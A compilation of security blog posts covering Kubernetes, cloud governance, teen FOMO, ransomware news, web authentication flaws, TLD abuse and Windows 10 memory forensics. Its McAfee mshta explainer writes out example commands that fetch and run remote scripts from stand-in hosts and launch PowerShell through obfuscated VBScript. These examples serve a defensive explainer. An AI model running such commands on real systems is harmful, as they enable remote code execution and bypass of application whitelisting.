Learn more about Veracode Dynamic Analysis on our web site. Or, get more details on the above five tips on running dynamic scans in our Veracode Community, including how-to videos.

IDG Contributor Network: Kubernetes security: Best practices for enterprise deployment

Several years later and containers are still the hype for application deployment and migration. CIO Online contributor Paul Rubens broke it down into digestible chunks – explaining benefits, gotchas, container management systems, security and much more. So now that we have figured out more reliable and efficient ways to deploy and scale software across platforms, it has also provided ways for nefarious actors to exploit these containers.

In the last couple of years, while there have been some great improvements around security with containers and their orchestration systems such as Kubernetes, there have been several major vulnerabilities and exploits discovered.

To read this article in full, please click here

What Is Mshta, How Can It Be Used and How to Protect Against It

The not-so Usual Suspects

There is a growing trend for attackers to more heavily utilize tools that already exist on a system rather than relying totally on their own custom malware.

Using .hta files or its partner in crime, mshta.exe, is an alternative to using macro enabled document for attacks and has been around a long time. It is a tool so flexible it even has its own cell on the MITRE ATT&CK matrix.

What Makes Mshta Dangerous?

To start, it is a signed, native Microsoft binary that already exists on Windows that can execute code in a variety of ways, and in today’s living off the land culture that attackers love, this makes it a prime application of interest since code execution can be proxied through it.

Mshta.exe can also be used to bypass application whitelisting defenses and browser security settings.

These types of binaries have been colloquially dubbed “LOLBINs” but more formally have been turned into techniques within the Mitre tactic of Execution. Techniques T1218 and T1216: Signed binary proxy execution and Signed Script Proxy Execution, respectively.[1]

How It Is Used:

The most interesting abuse of native Windows binaries is the ability to run a program that will either execute passed in code, or that will execute a payload hosted remotely. This was quite popular with Casey Smith’s squibblydoo and squiblytwo attacks where regsvr32 and wmic (also considered LOLBINs) were both found to be signed windows binaries able to execute code hosted remotely.

Example 1: A remote file being executed:

   mshta.exe http[:]//malicioussite.com/superlegit.hta

Example 2: Mshta used to execute inline JScript/Vbscript.

Note: this syntax only works in cmd but will give an error if executed in PowerShell.

   mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close)

Example 3: Calling a public method named Exec in a com scriptlet with JavaScript:

   mshta javascript:a=GetObject(“script:http://c2[.]com/cmd.sct”).Exec()

source : https://gist.githubusercontent.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba/raw/6cb52b88bcc929f5555cd302d9ed848b7e407052/Backdoor.sct

Note: notice the similarities between the usage of mshta with the exec method and the corresponding use in regsvr32 in the above gist.

Alternatively, a file with a .hta extension can just as easily be double clicked on by the user where the code is set to autorun on open much like a macro enabled document.

Availability in Public Tools

There is no shortage of easily accessible repos to help someone quickly generate a payload to use mshta. .hta file type generation is available in nearly all public red-teaming tools such as Empire, Metasploit, Unicorn, and Koadic.

Do not forget, however, that mshta’s use is not limited to .hta files. It can also call code registered inside of com scriptlets (.sct) so it is relevant to other tools such as GreatSCT.

It’s also worth noting that even if you have powershell.exe blocked, tools like nps payload have .hta files that dynamically build a project and compile it with msbuild (another tool to be weary of) to create a tool that can execute powershell commands without using powershell.exe at all.

In The Wild:

One of my favorite tools to look for examples is app.any.run. It is an interactive online sandbox and is a great resource for finding new samples. You can even filter by MITRE ATT&CK Technique which is what I did here:

As you can see, there is no shortage of samples to go through. Another interesting detail is we can see several different file extensions used outside of the standard .hta and even some where the sandbox has found there are no threats detected. Is that true though?

Here we can see it has a dubious name of windows-update.hta running from a temp folder. This looks to be a binary embedded within an .hta file to trick automated sandbox detection.

Here we look at another sample with no threats detected.

sha256: 0ab797e7546eaf7bf40971a1f5f979355ed77a16124ae749ef1e90b81e4a3f88

We see multiple file extensions used in the name to try and fool end users into thinking it is a picture. The script appears to be using WMI to spawn a new process which breaks the “expected” process chain of mshta > PowerShell and can allow malware to bypass rules that look for a direct process relationship such as Word > PowerShell.

We can also see the sandbox believes this is not malicious based on its scoring. Luckily, we can look at the PowerShell code that it spawns and get a better idea.

Process tree for 0ab797e7546eaf7bf40971a1f5f979355ed77a16124ae749ef1e90b81e4a3f88

So, mshta can also be used to execute vbscript and WMI to break the process tree chain and launch PowerShell.

And in the below example you can see mshta’s role in continuing part of an infection chain in common malware.

Use of exploit then using mshta to execute remote code spawning the rest of the infection chain

Protection and Recommendations

One of the easiest things you can implement is to change the default applications for files with an .hta extension from mshta.exe to a plain text editor such as notepad to help keep users from unwittingly double clicking a malicious .hta attachment

If you are a McAfee customer, McAfee Endpoint Security (ENS) provides rules 322, which is now enabled by default, and 324 that can be enabled in ePO to help protect your environment against malicious mshta abuse.[2]

You should also spend some time exploring where abusable native binaries like mshta.exe are used in your environment. If there are no business needs that require it, blocking it outright is advised. If it is required, understand where and why so you can find the systems running things like mshta.exe that aren’t expected to be.

 

For more insights and tips like these subscribe to this blog or check out the latest threats from our Threat Center.

[1] For a more complete list of these see: https://lolbas-project.github.io/

[2] Located within the Advanced Threat Protection module of ENS

The post What Is Mshta, How Can It Be Used and How to Protect Against It appeared first on McAfee Blogs.

Using Intelligent Data Controls to Accelerate Business

In our previous blog post, Getting Started with Cloud Governance, enterprise security architect Wayne Anderson discussed the challenge of understanding the “sanctioned” path to the cloud and how governance was the initial building block for cloud security. To understand the sanctioned path, we must have visibility into our overall use of cloud services and further apply a set of intelligent controls that enforce our governance requirements. These steps become the building blocks for intelligent data control, which tightens our data security posture and allows accelerated business transformation.

Before we focus on the intelligent control of data in sanctioned services, we must have a good understanding of what services are being utilized in our environment, along with the associated risk they bring. Setting requirements for cloud service governance is a good first step in identifying and limiting services. To map a set of technical controls to the problem data protection in the cloud, we must start with an architecture and an intelligent model that helps us achieve the desired controls.

The application of intelligent data control starts with a centrally managed platform that is elastic and works across all cloud services models, from SaaS, to PaaS and IaaS. There must be a consistent model in place for the visibility and control of allowable services as well as the control of data for sanctioned applications. The data policies used by the platform should also be consistent in both device-to-cloud and cloud-and-cloud scenarios.

Here’s a diagram showing a common control plane across cloud models:

Once we have the platform defined and in place, we monitor the cloud services being used and build an inventory of discovered services.

Here’s a sample inventory of cloud services using McAfee MVISION Cloud as our platform:

The discovered cloud services inventory is mapped against a comprehensive cloud services risk registry that assesses each service against dozens of attributes that can be used for fine-grained governance policies.

Example cloud service risk profile and attributes:

Finally, we can craft and apply our governance policies, providing visibility and/or remediation of services that fall outside the governance requirements. Any future changes to governance requirements are monitored by an approval workflow system.  The risk registry is updated dynamically and external to the policy execution. This allows for remediation of newly discovered and disallowed cloud services that are outside the acceptable governance requirements.

Intelligent application of governance requirements:

Using this arrangement allows us to implement governance requirements such as total risk (no services allowed with a risk score > 7 on a 1-to-10 scale), not allowing a service that is multi-tenant and does not encrypt data at rest, etc.

Providing intelligent control of cloud services governance policies helps to close the gap of data loss and malware from suspect services that have not been sanctioned. Establishing intelligent governance of cloud services allows for the next step of applying intelligent control to our sanctioned services.

In the future, we will continue the discussion on how intelligent data control can increase data security efficacy and accelerate your business as a result.

The post Using Intelligent Data Controls to Accelerate Business appeared first on McAfee Blogs.

FOMO: How to Help Digital Kids Overcome the Feeling of Missing Out

What happens when you give hundreds of teenagers smartphones and unlimited access to chat apps and social networks 24/7? A generation emerges with a condition called Fear of Missing Out, or, FOMO. While feelings of FOMO have been around for centuries, social media has done its part to amplify it, which can cause some serious emotional fallout for teens today.

What is FOMO

FOMO is that uneasy and often consuming feeling you’re missing out on something more interesting, exciting or better than what you are currently doing. FOMO affects people of all ages in various ways since 77% of humans now own phones. However, for uber-digital teens, FOMO can hit especially hard. Seeing a friend’s Paris vacation photos on Instagram or watching friends at a party on Snapchat can spark feelings of sadness and loneliness that can lead to anxiety and even depression.

As one mom recently shared with us: “My daughter called me a few months ago saying she wanted to drop out of college and travel the world. When I asked her what sparked this and how she planned to finance her adventure, she said, ‘everyone else is doing it, so I’m sure I’ll figure it out.'”

After further discussion, the mom discovered that her daughter’s idea to drop out was a combination of intense FOMO and lack of sleep. It was exam week, the pressure was high, and scrolling Instagram made her daughter question her life choices. When exams ended, her daughter got some sleep and took a few days off of social media and remains in school today.

Signs of FOMO

  • Constantly checking social media (even while on vacation, out with friends, or attending a fun event)
  • Constantly refreshing your screen to get the latest updates and to see people’s responses to your posts
  • Feeling you need to be available and respond to your friends 24/7
  • Obsessively posting your daily activities online
  • Feeling of needing new things, new experiences, a better life
  • Feeling sad, lonely, or depressed after being on social media for extended periods of time
  • Feeling dissatisfaction with one’s life
  • Making life choices or financial decisions based on what you see online

Coaching Kids through FOMO

Nurture JOMO. The Joy of Missing Out, JOMO, is the opposite of FOMO. It’s the feeling of freedom and even relief that we’ve unplugged and are fully present in the moment. To encourage more JOMO and less FOMO, parents can help guide kids toward personal contentment with more phone-free activities such as reading, journaling, face-to-face conversations, outdoor activities, and practicing mindfulness.

Other ways to encourage JOMO: Remind kids they have choices and don’t have to say “yes” to every invitation and to ask themselves, “Is this something I really want to do?” Also, consider challenging them to turn off their phone notifications, try a digital cleanse for a day or even a week, and read and discuss this great JOMO Manifesto together. A big perk of embracing JOMO is also “missing out” on some of the digital risks such as oversharing and risks to reputation and privacy.

Keep a thought journal. Changing your thinking is hard work. Experts suggest that kids suffering from anxiety, depression, or FOMO keep a thought journal to track, analyze, and reframe negative thoughts in more realistic, honest ones. For example, an initial thought might be: “I can’t believe my friends went to the concert without me. They must not want me around.” After thinking honestly about the situation, that thought might change to: “I don’t even like that band, wouldn’t spend money to see them, and my friends know that. Anyway, I had a blast with Ashley at the movies tonight.”

Cut back on social media. Cutting back sounds like an obvious fix, right? That’s the thing about unhealthy habits — they can be very tough to break and sometimes we need help. Most kids will be quick to argue that the amount of time they spend online doesn’t impact their emotions at all but numerous studies and common sense contradict that reasoning. They say this because the thought of cutting back on their social media habits can strike panic. It’s a love-hate routine they don’t quite know how to stop and it is their go-to remedy for boredom. So persist in helping your child reduce screen time. Be creative by offering alternate activities and helping them stay on track with their goals.

Curate for quality. This tip will, no doubt, challenge your kids. You may even get a flat “no way” when you suggest it. When it comes to photo-based platforms like Instagram and Snapchat, challenge your child to think about why they follow certain friends or accounts. Challenge them to delete feeds that are not encouraging, useful, or post quality content. They may not want to reduce their friends’ list (follower and friend counts matter) but they can mute accounts so they don’t have to see content that triggers FOMO feelings.

FOMO is a very real feeling so if your child shows signs of it be sure to validate their feelings. Periodic feelings of exclusion and hurt are part of being human. Don’t, however, allow faulty, streaming perceptions to push out the true joys of real-life experiences. Be the bridge of reason for your kids reminding them that social media spotlights the best versions of people’s lives — the filtered versions — but that nothing compares to showing up and living the real adventure.

The post FOMO: How to Help Digital Kids Overcome the Feeling of Missing Out appeared first on McAfee Blogs.

Briton who helped stop 2017 WannaCry virus spared jail over malware charges

  • Marcus Hutchins pleaded guilty to two malware charges
  • 25-year-old ‘incredibly thankful’ to be sentenced to time served

The British computer expert who helped shut down the WannaCry cyberattack on the NHS said he is “incredibly thankful” after being spared jail in the US for creating malware.

Marcus Hutchins was hailed as a hero in May 2017 when he found a “kill switch” that slowed the effects of the WannaCry virus affecting more than 300,000 computers in 150 countries.

Related: FTSE 250 firms exposed to possible cyber-attacks, report finds

Continue reading...

State of Louisiana Declares State of Emergency Following Malware Attacks

Veracode State of Louisiana 2019 Malware Attacks

On Wednesday, Louisiana Governor John Bel Edwards declared a state of emergency following a series of cyberattacks impacting the computer and phone systems of several of the state’s school districts. The declaration, which will remain in place for the entire state until Aug. 21, is out of concern that the attacks could spread to affect other organizations in local and state government.

According to Gov. Edwards’ office, the attacks were directed at school systems in the Sabine, Ouachita, and Morehouse districts, and are described as "severe, intentional cybersecurity breaches" that "may potentially compromise other public and private entities throughout" the state in the emergency declaration.

The declaration, which is the state’s first cybersecurity emergency activation, allows several resources to be devoted to the ongoing investigation. This includes cybersecurity experts from the Louisiana National Guard, Louisiana State Police, the Office of Technology Services – and others – to determine how best to resolve and prevent future cyberattacks. The state is also coordinating with the FBI on the issue.

According to CNN, there have been at least 22 reported breaches of public sector networks in 2019. Recently, ransomware hackers have taken over the computer systems of several cities, including Atlanta, Baltimore, Albany, and at least two cities in Florida.

In 2017, Gov. Edwards created the Louisiana Cybersecurity Commission – a 15-member board inclusive of state officials, private-sector executives, and academics – in anticipation of such attacks on its government-run organizations and systems.

“This is exactly why we established the Cyber Security Commission, focused on preparing for, responding to and preventing cybersecurity attacks, and we are well-positioned to assist local governments as they battle this current threat,” Edwards said in a statement.

The State of Software Security for Government and Education Sector

In a world where the threat landscape is always evolving, public sector agencies around the U.S. are taking steps to ensure that their technology and critical infrastructure systems have the right protections in place – just as they’re ensuring that they have the right policies and processes in place when a cyberattack cannot be prevented. A great example of this is how Colorado created the standard for best defense following the 2018 SamSam ransomware attack on its public transportation system, and additional examples of cyberattacks impacting critical infrastructure can be found in the Policymakers’ Guide to the State of Software Security.

It’s true that there is plenty to celebrate according to Veracode’s State of Software Security Volume 9 (SOSS Vol. 9), which showed that the Government and Education sector improved significantly over the previous report. In SOSS Vol. 8, the industry was dead last in latest scan OWASP pass rank. This year, it came in second only to healthcare.

In examining flaw persistence – or how long it takes to close a flaw from first discovery – the analysis curve shows that while these organizations are slower than usual out of the gate, they pick up speed with resolving vulnerabilities as they dig into the second half of remaining flaws.

 

It’s understood that the reliance on digital technologies and software will continue to increase, just as the threat landscape will remain fluid and ever-changing. With approximately one quarter of breaches occurring through web application attacks, it’s imperative that government organizations and agencies ensure their applications are protected.

After seeing the rise in data breaches at all levels of government, the State of Missouri enlisted Veracode to create and implement an application security program that fixed more than 28,000 flaws in the first year of the program, and scaled to 360+ applications within three years. Curious to learn more about how Veracode helped the State of Missouri build and scale its application security program? Read the case study – which covers the process from start to finish – by clicking here.

The Top Five Web Application Authentication Vulnerabilities We Find

One of the most important parts of a web application is the authentication mechanism, which secures the site and also creates boundaries for each user account. However, during my years of testing web applications, it’s still very common to find authentication mechanisms with vulnerabilities. I currently work as a principal penetration tester on Veracode’s MPT team, and I would say nine out of 10 websites I test have at least one of the following vulnerabilities:

Weak Password Policy

It’s not uncommon to find a website that does not follow a strong password policy. Recently, I tested an application where the minimum length of the password was only five characters long. This vulnerability is very common as developers try to get the balance between security and usability correct.

It’s also not uncommon to find applications that allow end users to set weak passwords, like “password,” “qwerty,” or “1234567,” for example. These types of passwords are well known to attackers and are always found in data leaks where companies have been breached.

Another vulnerability that I have seen, but is less common, is not allowing end users to copy and paste in the password field. This does not really improve security, but hinders it, since it stops people from generating passwords of 15 characters or more.

When I find vulnerabilities like this during a penetration test, I recommend the following:

  • Minimum of eight characters
  • Alphanumeric characters
  • Mixture of upper and lowercase
  • Forbid passwords containing username or company name
  • Forbid three or more identical characters, e.g., aaa or 111
  • Forbid three or more consecutive characters, e.g. abc or 123
  • If possible, implement a blacklist, which would stop end users entering weak and common passwords. You could also use the haveibeenpwned API to look for compromised passwords. You can find some examples on the following URL: https://haveibeenpwned.com/API/Consumers

Two-Factor Authentication (2FA)

Another very common vulnerability I come across often with web authentication mechanism is the lack of additional security measures. It’s very rare to see developers implementing two-factor authentication, especially on high-privileged accounts.

There are a number of ways to implement 2FA technology, including RSA tokens, code generators such as Google Authenticator, and Duo and SMS text messaging of one-time codes. Implementing 2FA can also present a number of challenges, especially when “regular” users and “privileged” users both log into the application using the same authentication mechanism. While I would recommend two-factor authentication whenever it is practical, it is difficult to propose across the board for privileged roles. Because there is no industry standard to recommend for applications that mix administrative and non-administrative functions together, a broader design analysis may be needed. Separating administrative functions, such as user-account management, into completely separate applications with stronger authentication schemes is a good goal.

User Enumeration

This vulnerability is usually one of the quickest and easiest vulnerabilities to prevent. It’s mainly due to the error messages being presented back to the end user. If an invalid user attempts to authenticate, the error presented back would be different from that presented to a valid user. An invalid user might be presented with the error “account not found.” As such, a change to the error message will resolve this vulnerability nine times out of 10.

This type of vulnerability can often be found in various places within a web application where a username is required, e.g., login page, forgot password, registration, etc. A good solution for user enumeration vulnerabilities would be to make sure any information presented back to the end user is generic. For example, “if your account was found in our system, you will receive an email shortly.” However, this can be a bit tricky to implement on user registration pages. In these situations, it’s best to provide the new account with a random username.

Resolving user enumeration on account registration is a bit harder. A captcha should be implemented on the page and must be filled out correctly before being able to “Submit” the form. While this does not prevent harvesting altogether, it does defeat automated attacks and limits probing to manual analysis only. An alternative method would be to assign usernames instead of letting users choose them.

Broken Password Reset

This is not that common, but every so often I test a web application that has implemented this functionality in a bad way. This is usually found in the token being used for the reset either being weak or the password being sent to the end user via email.

A common mistake a lot of developers make is thinking that base64 encoding is the same as encryption. As such, they sometimes use this method to encode sensitive data. In password reset functionality, I have seen the token to reset a password using a base64 encoded email address. By decoding this and adding another email address, it was possible to change that end user’s password as long as the account was valid.

Another vulnerability affecting password resets is sending the plaintext password back to the end user. This is bad for a number of reasons, including the fact that the password has been sent via email, which is deemed insecure. This may indicate that the password is being stored in the database without proper salting and hashing or is in a reversible format like base64. 

This is less common these days as most frameworks have built-in functions that are tried and tested. However, every so often, you do come across developers that write their own functions to implement password reset functionality. I recommend that if you're using a framework, you use the functionality within that framework. I also recommend that all passwords are stored in a secure manner using a salt and strong hashing algorithm.

Brute Force Attacks

A common attack against authentication pages is a brute force attack. A brute force attack is where an attacker will attempt multiple usernames and passwords until they obtain access to a valid account. This type of attack can be easier to perform if the application has a user enumeration or has a weak password policy. There are a number of free tools that help an attacker perform such an attack and make it relatively easy to do.

I would recommend that you track the number of failed login attempts for a user and mark the account as locked. When the number of consecutive unsuccessful login attempts reaches a reasonable threshold (typically three to five failed attempts in a row), require a user to go through the forgotten password process to remove the lock on their account.

Look for These First

As defined in the blog title, these are the most common authentication vulnerabilities I tend to find on web application penetration tests. There are a number of other vulnerabilities that affect web application authentication systems, but these are less common in my experience. It is recommended that web developers look for these common issues and resolve them before they have a penetration test. In most cases, these types of issues can be easy to resolve, and by doing so, the tester can spend his or her time on more complex vulnerabilities.

Learn more about manual penetration testing on our website.

Culture Crossover: The Great Hack

The Great Hack could be another bleak episode of Netflix’s techno-dystopian horror series Black Mirror. A seedy analytics company weaponises millions of data points extracted from unwitting social media users, only to manipulate their political worldviews en masse, foment intercultural conflicts, and, ultimately, usher in an authoritarian leadership. Unfortunately The Great Hack is a documentary.

Examining the Link Between TLD Prices and Abuse

Briefing

Over the years, McAfee researchers have observed that certain new top-level Domains (TLDs) are more likely to be abused by cyber criminals for malicious activities than others. Our investigations reveal a negative relationship between the likelihood for abuse and registration price of some TLDs, as reported by the McAfee URL and email intelligence team. This means that new TLDs are more likely to be picked up by cyber criminals if their registration prices are low.

What is a Top-level Domain?

According to Wikipedia, a top-level domain (TLD) is one of the domains at the highest level in the hierarchical Domain Name System of the Internet. It is the last part of the domain name, e.g. the TLD for www.google.com would be ‘com’.

There are two major types of TLD; country code TLD and generic TLD. The first type of TLD utilizes country codes directly, e.g. co.uk for the United Kingdom, and domains resolving to this type of TLD often have a strong tendency of serving those countries. Generic TLDs typically serve more general content and they form the basis of this study as they represent most of the domains we have observed recently.

TLD Registration Price

As noted by a previous article published by McAfee that bad hackers hack to make financial gains[1], there is no doubt that when cyber criminals plan to conduct malicious activities they will choose the method with the lowest cost to maximize their potential profits.

Below is a list of badly abused TLDs received from the McAfee URL and email intelligence team. Referencing domain.com, we found the one-year registration prices (domains created for malware attacks usually have a short lifespan as they are event-driven; normally they are taken off after the attack is stopped so they are registered for only one year, which is the minimal registration period required by many domain registration platforms, and that is why registration price is chosen for this study) for these abused TLDs are relatively low (under $20 for the first year) in comparison to other generic TLDs on the same list, which suggests that cost is a deciding factor.

To investigate that there is a possible relationship between TLD registration price and abuse rate, we investigated TLDs from different registration price ranges, from $1 to $270, and the results can be seen in the diagram below.   The ‘abuse rate’ mentioned in the diagram is the number of domains under a specific TLD that are marked as either Medium or High Risk by McAfee which are normally blocked at endpoints, divided by the total count of the domains under the same TLD logged in McAfee’s URL database.

We can see that, as TLD registration price goes down, especially when it dips below $20, the abuse rate soars up. This seems to suggest a correlation between price and abuse. Looking at the diagram, although the trend is clear, there are several anomalies. To the left of the diagram we have ‘.BEST’, while to the right we have ‘.HOST’, ‘.LINK’ and ‘.SALE’ for outliers.

A reason for ‘.BEST’ being an outlier could be because, firstly, we do not have many domains under this TLD, so it is possible that the result is skewed due to insufficient samples and, secondly, its lexical feature makes it a really good TLD for marketing domains, especially ones driven by spam activities, even though the registration price is on the higher side.   For the other outliers the reasoning is not so clear. It may be that their lexical features skew them closer to the legitimate side of things in comparison to the rest of the badly abused TLDs. Nonetheless, they still have abuse rates greater than 20%, so they are still badly abused if you compare them to the ones to the left of the diagram.

Side research

While conducting the above study we also considered the percentage of domains under these badly abused TLDs that are ranked among the highest trafficked websites, as reported by services such as Amazon Alexa. A study on the below six TLDs, which our email intelligence team report as being highly associated with spam activities, was carried out.

It can be seen from the chart above that for the domains under these six sample TLDs, the average percentage of Alexa top 1 million websites is below 1%, which reinforces the fact that these TLDs do not typically serve much legitimate content.  Organizations may want to evaluate these findings and based on their risk appetite undertake further scrutiny on the domain of inbound and outbound traffic.  The level of scrutiny undertaken on the originating source very rarely considers the price of registering a domain, and whilst such an approach may not be sufficient to warrant such analysis for many organizations, those with a low risk appetite may want to consider such action.

Advice to our customers

Different customers of McAfee’s have different security policies towards their endpoints which in turn supports their overall risk appeitite.. In regards to the graph depicted above different approaches might be taken on these TLDs that tend to be considered ‘too risky’. if enterprise customers would like to avail of this function, it can be easily achieved by adding a local rule in the McAfee Web Gateway Configuration Panel.

At the same time, for other organizations with a higher risk appetite, such aggressive approach might not be needed. Whatever the final action might be however, it is always good to review the security policies from time to time for your organization and consider what kind of policies would suit your business the best.

Meanwhile, to our Web Advisor customers, we would like to suggest that whenever you receive any URLs that resolve to the risky TLDs mentioned above, if it has a Unverified / Medium / High Risk reputation and/or it does not have any categories in McAfee’s database (which can be double checked at https://trustedsource.org), then please be wary of clicking on those URLs as they may pose a greater security risk to you.

Reference:

[1]. https://securingtomorrow.mcafee.com/consumer/identity-protection/are-all-hackers-bad/

The post Examining the Link Between TLD Prices and Abuse appeared first on McAfee Blogs.

No More Ransom Blows Out Three Birthday Candles Today

Collaborative Initiative Celebrates Helping More Than 200,000 Victims and Preventing More Than 100 million USD From Falling into Criminal Hands

Three years ago, on this exact day, the public and private sectors drew a line in the sand against ransomware. At that time, ransomware was becoming one of the most prevalent cyber threats globally. We were hearing stories of patients being turned away from hospitals and the urgent medical attention they needed because someone clicked on a link in an email! Since that time, every sector has had a litany of examples where companies targeted by ransomware attacks were faced with the digital equivalent of Sophie’s Choice: pay criminals or potentially lose your business.

Three years ago, to this very day, the No More Ransom initiative gave victims a third option: retrieve their files back for free. Of course, a silver bullet for all forms of ransomware does not exist but, as the free decryptor made available by the initiative for the GandCrab ransomware has shown, there is hope.

A Public Private Collaboration Where Success is Measured by Every Victim Saved

No More Ransom began because of an operational problem that could only be solved through collaboration. A Law Enforcement Agency had seized a server which contained private keys that could help decrypt thousands of victims of a particular ransomware family. This provided a great opportunity to help thousands of people—but there was a problem.

A Law Enforcement Agency is bound by a geographical jurisdiction; further, developing decryption software is not its core competency. Fortunately, both global reach and software development happened to be exactly what cybersecurity companies could bring to the table.

It is exciting to see how the initiative has expanded at an enormous rate. Back when we started, we would never have believed that in merely three years we would have helped over 200,000 victims and prevented more than 100 million US dollars from falling into criminal hands.

Even though cyber threats, including ransomware, are constantly evolving we remain confident that, together, we can continue to take a stand and disrupt this form of cybercrime. We are also delighted that so many public and private sector institutions have joined in this fight against the threat of ransomware. What began as a small group of individuals in a room in the Hague is now a global initiative, working together to fight back.

Remember #DontPay #NoMoreRansom

The post No More Ransom Blows Out Three Birthday Candles Today appeared first on McAfee Blogs.

Finding Evil in Windows 10 Compressed Memory, Part One: Volatility and Rekall Tools

Paging all digital forensicators, incident responders, and memory manager enthusiasts! Have you ever found yourself at a client site working around the clock to extract evil from a Windows 10 image? Have you hit the wall at step zero, running into difficulties viewing a process tree, or enumerating kernel modules? Or even worse, had to face the C-Suite and let them know you couldn’t find any evil? Well fear no more – FLARE has you covered. We've analyzed Windows 10 and integrated our research into Volatility and  Rekall tools for your immediate consumption!

Until August 2013, as a skilled consultant, you were generally in good shape. Your tools worked as you expected them to and you were able to forensicate rapidly. Windows 8.1 introduced changes that began to break the tools we know and love. This breakdown largely went unnoticed as most companies continued using Windows 7, but now corporate environments are rolling out Windows 10 images at an ever-increasing pace and forensic tools haven’t kept up.

This blog post is the first in a three-part series covering our Windows 10 memory forensics research. This post coincides with Omar Sardar and Blaine Stancill’s presentation at SANS DFIR Austin 2019 and is designed to introduce you to FLARE’s updates to Volatility and Rekall. The next post will coincide with our BlackHat USA 2019 presentation, in which Omar Sardar and Dimiter Andonov will dig into the nitty-gritty details of the Windows 10 memory manager. The final post will serve as a guide to those seeking to analyze the kernel on their own.

Overview

Traditionally, a complete Windows memory analysis only required forensic tools to parse physical memory and fill in any missing gaps from the pagefile. In Windows 8.1 Microsoft upended this paradigm with the introduction of memory compression and a new virtual store designed to contain compressed memory. While current tools can inspect traditional pagefiles on disk just fine, the virtual store poses a challenge due to sparse documentation and data compression.

To enable a more complete memory analysis on Windows 10, FireEye’s FLARE team analyzed the operating system’s memory manager as well as the algorithms and structures used to retrieve compressed memory. The memory we’re looking for is stored in a virtual store, created by the Store Manager kernel component. The Store Manager is responsible for managing data involved in performance optimization systems, including SuperFetch, ReadyBoost, and ReadyDrive. In this case, the Virtual Store is a RAM-backed entity, leveraging storage space in MemCompression for processes’ compressed data. The results of this research have been ported to both Volatility and Rekall to benefit the security community.

Volatility and Rekall

Volatility and Rekall are two of the most popular open-source memory forensic frameworks available. With the introduction of Windows memory compression, both frameworks have been unable to read compressed pages – until now! The effects of compression were immediately noticeable as many plugins previously reported missing data or did not work altogether. To demonstrate, we will utilize a common plugin called modules that lists drivers loaded at the time of memory capture. In Figure 1, drivers loaded on the system are enumerated, but several paths to the files on disk are paged out to the compression store. These missing paths could very well be the evil you were hunting!


Figure 1: Volatility & Rekall missing data stored in compressed pages

To deal with missing data due to compressed pages, FireEye's FLARE team made multiple additions to Volatility and Rekall to support Windows 10 memory compression. First and foremost, we added the necessary overlays:

An overlay describes the internal data structures used by the Windows 10 memory compression algorithm and makes them available in Python. For example, the overlays define the layout of the SMKM_STORE structure and the B+Trees used to lookup compressed pages. These structures, among others, will be described in additional detail in Part Two of this blog series.

The undocumented Windows structures defined in the overlays are based on information we obtained through analyzing different versions of Windows 10. Being undocumented, these structures are susceptible to change across Windows builds, and even revisions. We currently support versions 1607, 1703, 1709, 1803, and 1809 on both 32-bit and 64-bit architectures. To support additional versions, the layout of the structures must be analyzed and the overlays updated accordingly. Analyzing the kernel to extract these structures will be discussed further in both Part Two and Part Three of this blog series.

The second modification to support compressed pages includes new address spaces for each framework:

Address spaces are responsible for satisfying memory read requests. When stacked on top of one another, each layer can translate the read request to an underlying base layer abstracting away the details of how the actual read is performed. An example translation is converting a virtual address to a physical address. Depending on the bottommost layer, the physical address may be an offset into a memory image, crash dump, or hibernate file. The takeaway is that an address space transparently resolves memory, regardless of its location and – most importantly – with zero effort on your part. Due to this seamless integration, users can interact with Volatility and Rekall just as before and, if a compressed page is detected, the new address spaces will take care of decompression in the background and return the decompressed data.

Back to our previous modules plugin example, Figure 2 demonstrates how the newly implemented address spaces properly decompress data located in compressed pages. No more hidden drivers or DLLs, among a plethora of other forensic artifacts. The data is now yours to continue your hunt for evil!


Figure 2: Volatility & Rekall decompressing compressed data

Get It Today

Head over to our Volatility and Rekall GitHub repositories to start using them today. After downloading or cloning the repositories, follow any necessary installation instructions as outlined on each GitHub's README page and start finding that evil!

Conclusion

Windows 10 memory compression is a significant evolution in the design of the memory manager that increases system performance by making a more efficient use of physical memory. This increase in performance comes at the cost of a more complex memory management system that is currently not publicly documented. Up until now, Volatility and Rekall were unable to inspect memory stored in compressed pages, opening the door to malicious programs and forensics artifacts going undetected. FireEye’s FLARE team hopes to fill the knowledge and technical gaps for Windows 10 compressed memory through contributions to Volatility and Rekall, as well as in presentations given at SANS DIFR (Finding Evil in Windows 10 Compressed Memory) and BlackHat USA 2019. We look forward to seeing you there and hearing your feedback, and we’re excited to see how these frameworks develop as a result of our contributions! Stay tuned for Part Two of our Finding Evil in Windows 10 Compressed Memory blog series.

4 Ways for Parents to Handle the Facebook Messenger Bug

9 out of 10 children in the U.S. between the ages of six and twelve have access to smart devices. And while parents know it’s important for their children to learn to use technology in today’s digital world, 75% want more visibility into their kids’ digital activities. This is precisely why Facebook designed Messenger Kids to empower parents to monitor their children’s safety online. However, the popular social media platform had to recently warn users of a security issue within this app for kids.

The central benefit of Messenger Kids is that children can only chat with other users their parents approve of. Yet one design flaw within the group chat feature prevented Facebook from upholding this rule. Children who started a group chat could include any of their approved connections in the conversation, even if a user was not authorized to message the other kids in the chat. As a result, thousands of children were able to connect with users their parents weren’t aware of via this flaw.

Luckily, Facebook removed the unauthorized group chats and flagged the issue to all affected users, promising that that potentially unsafe chats won’t happen again. While Facebook has not yet made a formal public response, they confirmed the bug to The Verge:

“We recently notified some parents of Messenger Kids account users about a technical error that we detected affecting a small number of group chats. We turned off the affected chats and provided parents with additional resources on Messenger Kids and online safety.”

Now, Facebook is currently working on still resolving the bug itself. However, there are still many actions parents can take to ensure that their child is safe on Facebook Messenger, and social media apps in general. Start by following these four best practices to secure your kid’s online presence:

  • Turn on automatic app updates on your child’s device. Updates usually include new and improved app features that your child will be excited to try. But more importantly, they tend to account for security bugs. Delaying updates can leave apps vulnerable to cybercriminals and turning on automatic app updates ensures that you don’t have to worry about missing one.
  • Get educated. Some parents find it helpful to use the same apps as their child to better understand how it works and what safety threats might be relevant. Facebook also offers resources online that provide guidance for staying safe, such as how and when to block a user and what kind of content is or isn’t risky to share. Additionally, it’s always a best practice to read the terms and conditions of an app before downloading to make sure you’re aware of what your child is signing up for.
